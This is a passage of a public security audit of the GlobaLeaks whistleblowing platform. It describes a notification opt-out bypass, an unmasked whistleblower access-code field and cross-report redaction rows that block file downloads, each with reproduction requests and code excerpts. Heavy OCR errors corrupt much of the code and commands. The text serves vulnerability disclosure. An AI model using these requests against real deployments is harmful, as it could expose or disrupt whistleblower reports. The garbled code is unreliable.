--data ' {"operation":"set","args":{"key":"enabl e_notifications","value":fal se}}"

2.As recipient-a , perform a direct-update operation that calls
changing the report status.

curl -s -X PUT " https:// TARGET/ api/recipient/rtips/<report-id> \
-H ' X-Session: <reci pi ent -a-sessi on> \
-H ' Content-Type: application/json \

--data '{"operation":"update_status", "args":{"status": "opened", "substatus":"

3. Inspect the mail queue.

SELECT address, subject, body
FROM nai |
CRDER BY creation_date DESC

db_notify report_update() ,such as

1y

4. A similar path exists for account-level opt-out. Set reci pi ent-b 's user preference notification to false ,
then have a recipient with grant privileges grant report access to reci pi ent-b ; db_notify_grant_access()

queues the access email without checking the flag.

The grant path uses db_notify_grant_access(), which fornmats tip_access mail
inserts a Mail rowdirectly.

Expected result

and

When a recipient disables account-level notifications or per-report notifications, backend report-mail paths
should not queue mail for that recipient. Direct notification helpers should reuse the same enforcement logic as

Mai | Gener at or. process_mai | _creation() .

Actual result

Direct helpers bypass Mai | Gener at or. process_nai | _creati on()

and insert Mail rows themselves. Report-

update, report-access, and identity-access reply emails can be queued despite the a ected recipient's opt-out
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state.
Impact

This is a data-minimization and workflow-enforcement bypass in a whistleblowing platform. Recipients may
disable report mail to prevent report existence, report URLS, report progressive numbers, and identity-access
workflow events from leaving the application into external mailboxes or SMTP infrastructure. Other report
participants can still trigger direct mail paths after the opt-out.

Impacted users or systems:

¢ Recipients who disable account-level notification emails.
¢ Recipients who disable notifications for a specific sensitive report.

o Whistleblowers whose report metadata and workflow events are sent through mail despite the recipient's
explicit opt-out.

e Deployments relying on external SMTP or mailbox isolation to minimize report metadata exposure.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low None None

CWE-1083 ) Data Access from Outside Expected Data Manager Component
Data Access Operations Outside of Expected Data Manager Component
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11.26 F-104 - Access code is shown plainly

The whistleblower access code is shown in clear while typed or pasted, making the report credential easier to
capture.

IMPACT COMPONENT FOUND BY

Report access exposure Client GPT-5.5 xhigh via
run_codex_cwe_line v2

The whistleblower report login form asks users to enter their report access code in a plain text input. That access
code is the credential used to reopen the report and retrieve messages, files, and workflow data, but the Ul
renders it visibly while it is typed or pasted. A nearby observer, screen-share participant, or recording tool can
capture the code and later access the report as the whistleblower.

Details

A ected source code, component, endpoint, or function:

client/app/src/shared/ partial s/receipt/receipt.conponent. ht n
client/app/src/shared/ partial s/recei pt/recei pt.conponent.ts
client/app/src/services/ hel per/authentication.service.ts

backend/ gl obal eaks/ handl ers/auth/ __init__.py, ReceiptAuthHandl er. post ()
backend/ gl obal eaks/ handl ers/auth/__init__.py, |ogi n_whistlebl over()
PCST / api / aut h/ recei pt aut h

Description:

The public whistleblower homepage includes a report-login form for users who have already submitted a report.
The form labels the value as an access code and binds it to formatt edRecei pt , but the input is declared as

type="text" .Every character remains visible while the user types or pastes the report secret.

The client then passes that value to  Aut hent i cati onServi ce. | ogi n() Wwith username whi st ebl ower ;the
service strips formatting digits and sends the result as recei pt to /api/auth/receiptauth . The backend
receipt-auth handler calls | ogi n_whi st | ebl ower () , which verifies the receipt hash and creates a whistleblower
session for the matching report. On encrypted reports, the same receipt-derived key is also used to decrypt the
report private key.

This is separate from the intentionally visible receipt shown immediately after a new submission or forced code
rotation. The vulnerable path is the later login form where the user re-enters an existing report access credential
and would reasonably expect password-style masking.

Relevant code:
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client/app/src/shared/ partial s/receipt/receipt.conponent. ht n
1: <formid="Wi st| ebl ower Logi nFor nf aut oconpl et e="of f" noval i dat e>

9: <input class="d-none" type="password" nane="di sabl e-aut oconpl ete" />

10: <input [autoconplete]="'off"'" #receiptinput="nghbdel "

[ (nghbdel )] ="formatt edRecei pt" id="receipt-input" class="formcontrol text-center
rounded-start" type="text" autoconpl ete="receipt" name="receipt" naxlength="19"

si ze="19" cust onRecei pt Val i dat or >

11: <button [disabl ed] ="formattedReceipt.length < 16 ||

aut henti cationService. |l oginlnProgress || !receiptinput.errors?. ['receiptvalidator’
1" (click)="viewReport ()" id="ReceiptButton" class="btn btn-prinmary"
type="submt">

client/app/src/shared/ partial s/receipt/receipt.conponent.ts

22: fornmattedReceipt = "";

23:

24: viewReport() {

25: this.aut henti cationService.login(0, 'whistleblower', this.fornattedReceipt);
26: this.formattedReceipt = ""

27: '}

client/app/src/services/ hel per/authentication.service.ts

84: if (password) {

85: if (usernane === "whi stl ebl ower") {
86: password = password. replace(/\D'g, "");
97: if (username === "whistleblover") {

98: request Cbservabl e = this. httpService. request Wi st eBl ower Logi n(JSON stri ngi f
y({"recei pt": password}), authHeader);

backend/ gl obal eaks/ handl ers/auth/ __init__.py

30: def |ogin_whistleblower(session, tid, receipt, client_using_tor,
oper at or _i d=None) :

40: if not session. query(exists().where(and (Internal Tip.tid == tid,

func. | ength(Internal Tip.recei pt_hash) < 64))).scalar():

41: key = Base64Encoder . decode(recei pt. encode())

42: hash = sha256( key) . decode()

43: el se:

44: salt = ConfigFactory(session, tid).get_val (‘receipt_salt')
45: key, hash = GCE cal cul ate_key_and_hash(receipt, salt)

51: itip = session.query(lnternal Tip) \

524 filter(Internal Tip.tid == tid,

53: I nternal Ti p. recei pt _hash == hash). one_or_none()
61: if itip.crypto_pub_key:

62: crypto_prv_key = GCE symnetric_decrypt (key,

Base64Encoder . decode(i ti p. crypto_prv_key))

69: session = Sessions.new(tid, itip.id, tid, 'whistleblower', crypto_prv_key)

Page 391 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR.397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

backend/ gl obal eaks/ handl ers/auth/ __init__.py
240: cl ass Recei pt Aut hHandl er (BaseHandl er) :

248: request = sel f.validate_request(self.request.content.read(),
request s. Recei pt Aut hDesc)

258: if request['receipt']:

259: session = yield | ogi n_whi st ebl ovwer(sel f.request.tid,
request['receipt'],

260: sel f.request.client_using_tor,

operator_i d)
For comparison, ordinary internal-user password fields are masked:
client/app/src/pages/ auth/| ogi n/tenpl at es/ def aul t -1 ogi n/ def aul t -

| ogi n. conponent . ht m

18: <input id="defaul t-Iogin-password" class="formcontrol" name="password" ...
type="password" required />

PoC

Steps to reproduce
1. Submit a report through the public whistleblower flow and record the 16-digit access code shown after
submission.

Exanpl e format: 1234 5678 9012 3456

2. Return to the public homepage and focus the existing-report login form labeled Have you al ready submtted
a report? Enter your access code.

The formis rendered by “client/app/src/shared/ partials/receipt/
recei pt. conponent. htm ™.

3. Type or paste the report access code into the field.

The full access code renains visible in the browser input because the field is
“type="text".

4, Submit the form.

curl -X PCBT \
-H'content-type: application/json' \
--data ' {"recei pt":"1234567890123456"}"' \
"https://<tenant-host>/api/auth/receiptauth’

Expected result

The report access code should be treated as a secret and masked by default while it is entered, consistent with
password fields. If visibility is needed for usability, the Ul should provide an explicit reveal control that defaults to
hidden.

Actual result
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The report access code is entered in a visible text field, so anyone who can observe the screen during report login
can capture the credential.

Impact

This is missing secret-field masking for the whistleblower report access credential. Anyone who captures the
visible access code can later authenticate as the whistleblower for that report, read recipient messages, access
report-visible files and metadata, and add follow-up information or comments within the whistleblower workflow.

Impacted users or systems:

e Reporting users who reopen reports in shared, recorded, support-assisted, or physically observable
environments.

¢ Whistleblower reports protected only by the access code.

o Encrypted reports, where the access code can also derive the key needed for report access.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

Missing Password Field Masking
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11.27 F-108 - Redactions block other report files

Aredaction created on one report can interfere with direct downloads of a whistleblower file belonging to another
report.

IMPACT COMPONENT FOUND BY
File availability loss Backend GPT-5.5, xhigh reasoning, v3

The recipient redaction creation endpoint authorizes only the report identified by internaltip_i d , then stores
the request-supplied reference_id without verifying that the referenced object belongs to that same report.
The direct whistleblower-file download path later treats any Redacti on rowwith reference_id == 0 and
entry == '0" asa mask for that file, without checking Redaction.internaltip_i d againstthe file's current
report. A recipient with masking privileges on one report can therefore create redaction rows that reference a
whistleblower attachment from another report and make direct downloads of that file fail for legitimate recipients.

Details

A ected source code, component, endpoint, or function:

PCST / api / reci pi ent/redacti ons

CET /api/recipi ent/wbfil es/<whi stl ebl ower-file-id>

backend/ gl obal eaks/ handl ers/reci pient/rtip.py:create_redaction()

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py: Wi st ebl ower Fi | eDownl oad. downl oad_w
bfile()

backend/ gl obal eaks/ nodel s/ __init__. py: _Redaction

backend/ gl obal eaks/ nodel s/ seri al i zers. py: serialize_wbfile()

Description:

Redaction rows are report-scoped through Redaction.internaltip_id , butthe referenced objectidis an
unconstrained string. create_redaction() calls db_access_rtip() for data['internaltip_id ] andthen
writes data['reference_id'] directlyinto Redaction.reference_id .Itdoes not verify that the reference
points to an answer, comment, identity value, or file belonging to the authorized report.

Whistleblower-file downloads use a di erent lookup. After authorizing the caller's Recei ver Ti p and resolving
the requested Wi stleblowerFile 7 Internal File , dowl oad_wbfile() queries Redaction only by
reference_id and entry .Iltomits Redaction.internaltip_id == Internal Tip.id .Aredaction created on
report A can therefore be observed while downloading a file from report B if it uses report B's
Internal File.id as reference id .

With one foreign redaction row, recipients without masking/redaction privileges are denied by the direct-
download endpoint. With multiple foreign rows for the same target file id, . one_or_none() raises before the
privilege check, so the direct download fails even for recipients who would otherwise be allowed to view masked
files. The target report does not show those redaction rows in its normal redaction list because report serialization
loads redactions by Redaction.internaltip_id .

Relevant code:
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backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py

1049 @r ansact

1050 def create_redaction(session, tid, user_id, data):

1051 user, rtip, itip = db_access_rtip(session, tid, user_id,
data['internaltip_id])

1067 redaction = nodel s. Redacti on()

1068 redaction.id = data.get('id")

1069 redaction.reference_id = data. get('reference_id')

1070 redaction.entry = data.get('entry', '0")

1071 redaction.internaltip_id =itip.id

1072 redaction. tenporary_redaction = data. get('tenporary_redaction')
1073 redact i on. per manent _redaction = []

1074 sessi on. add( r edact i on)

backend/ gl obal eaks/ nodel s/ __init__.py
780 cl ass _Redacti on(Mdel ):

786 id = Col unmn( Uni codeText (36), prinary_key=True, defaul t=uui d4)

787 reference_i d = Col um( Uni codeText (36), nul | abl e=Fal se)
788 entry = Col utm(Uni codeText, default='0", nullabl e=Fal se)
789 internal tip_id = Col um( Uni codeText (36), nul | abl e=Fal se, index=True)

795 def _ table args_ (self):
796 return Forei gnKeyConstraint(['internaltip_id ], ["internaltip.id],
ondel et e=' CASCADE , deferrabl e=True, initially="DEFERRED ),

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py

1254 @r ansact

1255 def downl oad_wbfile(self, session, tid, user_id, file_id):

1256 user, ifile, wbfile, rtip = db_get(session,

1257 (nodel s. Wser,

1258 nodel s. Internal Fil e,

1259 nodel s. Wi st ebl overFi |l e,

1260 nodel s. Recei verTi p),

1261 (nodel s. Wser.id == user_id,
1262 nodel s. Recei ver Ti p. recei ver _id ==
nodel s. Wser. id,

1263 nodel s. ReceiverTip.id ==

nodel s. Wii st ebl ower Fi | e. recei vertip_id,

1264 nodel s. Internal File.id ==
nodel s. Wi stlebl owerFile.internalfile_id,

1265 nodel s. Internal Tip.id ==

nodel s. Recei verTip.internal tip_id,

1266 nodel s. Internal Tip.tid == tid,
1267 nodel s. Whi stleblowerFile.id ==
file_id))

1268

1269 redaction = session. query(nodel s. Redacti on) \

1270 .filter(nodel s. Redaction.reference_id == ifile.id,
nodel s. Redaction.entry == '0').one_or_none()

1271

1272 if redaction is not None and \

1273 not user.can_nask_i nformation and \

1274 not user.can_redact _i nfornati on:

1275 rai se errors. Forbi ddenQper ati on
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backend/ gl obal eaks/ nodel s/ seri al i zers. py
153 def serialize wbfile(session, ifile, wbfile):

165 return {

166 “id: owbfile.id,
167 “ifile_id: ifile.id,
168 ‘creation_date': ifile.creation_date,
169 "nane': ifile. nane,
172 "reference_id : ifile.reference_id,
173 ‘error': error
174 }
PoC

Steps to reproduce

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

1. Create two reports in the same tenant. Report A is any report the attacker-recipient can access and mask.
Report B contains a whistleblower-uploaded file that legitimate recipients should be able to download directly.

Report A attacker has ReceiverTip access and can_nask_i nfornati on=true. Report B:

contains Internal File F and Wi stlebl owerFile W.

2. Obtain the target Internal File.id forreportB. Recipients with report-detail access receiveitas ifile_id

in serialized whistleblower-file descriptors.

{
"wbfiles": [
{
"id": "<whistleblowerfile-id>",
"ifile_id"': "<target-internalfile-id>",
"nane": "evi dence. pdf"
}
]
}

3. As the attacker-recipient, create two redaction rows on report A while setting reference_i d to reportB's
Internal File.id .The endpoint authorizes report Athrough internaltip_id , butaccepts the foreign file

reference.

PCOST / api / reci pi ent/redactions HTTP/ 1.1
X- Sessi on: <attacker-reci pi ent - sessi on>
Cont ent - Type: appl i cation/json

{ “internaltip_id': "<report-a-id>",
"reference_id": "<target-internalfile-id-fromreport-b>",
“entry": "0",
“tenporary_redaction": [{"start": "-inf", "end": "inf"}],
"per manent _redaction": []

}

Repeat the same request once more so that more than one Redacti on row has the same foreign

reference_id .

4. As a legitimate recipient of report B, request the direct whistleblower-file download.
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GET /api/recipient/wbfiles/<whistleblowerfile-id>HITP/ 1.1
X-Sessi on: <victi mrecipi ent - sessi on>

5. Observe that downl oad_wbfile() queries Redaction by reference_id only. With two foreign rows,

.one_or_none() raises before the masking privilege check and the direct download fails. With a single foreign
row, recipients without can_mask_i nformation oOr can_redact i nfornati on receive For bi ddenQper ati on
even though the target report itself has no redaction row for that file.

Expected result

Redaction creation should rejecta reference_id that does not belong to the authorized internaltip_id and
content type. The direct whistleblower-file download gate should consider only redactions whose

internaltip_id matches the currently authorized report/file.
Actual result

Redaction creation stores arbitrary reference_id values on the authorized report. Direct file downloads then
treat those rows as masks for any file with a matching Internal File.id , even when the redaction belongs to
another report.

Impact

This is a cross-report scope-control issue in the redaction subsystem. A malicious recipient with masking
privileges can persist redaction rows on one report that interfere with direct downloads of a whistleblower
attachment from another report. The target report's normal redaction state does not explain the denial, making
the issue di cult for recipients or administrators to diagnose without database inspection.

Impacted users or systems:

e Recipients who rely on direct /api/recipi ent/wbfiles/0 downloads for whistleblower attachments.
e Reportswhose Internal File.id values are known to a recipient with masking privileges on another report.

« Administrators and recipients trying to reason about report-specific redaction state.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

CWE-639 ) Authorization Bypass Through User-Controlled Key
CWE-862 ) Missing Authorization
Improper Input Validation
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Appendix A. Audit lineage, ISGroup, and the review
team

GlobalLeaks under continuous scrutiny

Globaleaks carries an unusually long public audit history: iISEC Partners and Cure53 (2013), Least Authority (2014),
Subgraph (2018), Radically Open Security (2019 and 2022), and ISGroup (2024). The 2022 Radically Open Security
review covered the server source, the frontend, and operational security for whistleblowers and administrators;
the 2024 ISGroup review covered surface analysis and network penetration of the external perimeter. This 2026
activity extends that lineage into an application-level source-code review built around LLM-assisted discovery:
one more pass over a codebase examined and hardened for over a decade.

ISGroup

ISGroup's operating principle is simple: security is not declared, it is demonstrated.

ISGroup Sirl.is an independent o ensive-security firm o ering its services to clients worldwide. It grew out of
USH.it, a non-commercial security-research group founded in 2000; the ISGroup brand dates to 2005. Its work
spans penetration testing, vulnerability assessment, source-code review, and red teaming, and it holds ISO/IEC
27001 and ISO 9001 certification.

The firm's record is a matter of published evidence rather than description. Over two decades its researchers have
released more than thirty public security advisories, with assigned CVEs, against software used by millions -
among them PHP, Nginx, Jetty, Zabbix, Veeam, QNAP, and Fortinet - each disclosed to the vendor before
publication and fixed at the source. Research the team presented in the 2000s, including work on PHP and web-
application security at the 25th Chaos Communication Congress, is still cited today, including at DEF CON 31. More
recent work from 2025 includes remote-code-execution findings in a major digital-signature client used in Italy,
and in early 2026, advisories on widely used software components.

That record is the context for this report. The Global eaks review continues the same discipline, applied with LLM-
assisted methods to one of the most scrutinised security tools in open source.

Review team

Francesco "ascii" Ongaro. Entrepreneur, security expert, and hacker who has spent two decades specialising
security testing. He has led hundreds of technical engagements for major and highly exposed clients across the
globe. In 2000 he founded the USH.it research group from which ISGroup grew.

Pasquale "sid" Fiorillo. Veteran of the later underground scene and a longstanding advocate of free software. In
his early career he was co-founder, publisher, and writer of the IHP Phreaking e-zine. He brings more than twenty
years in IT and, principally, IT security.
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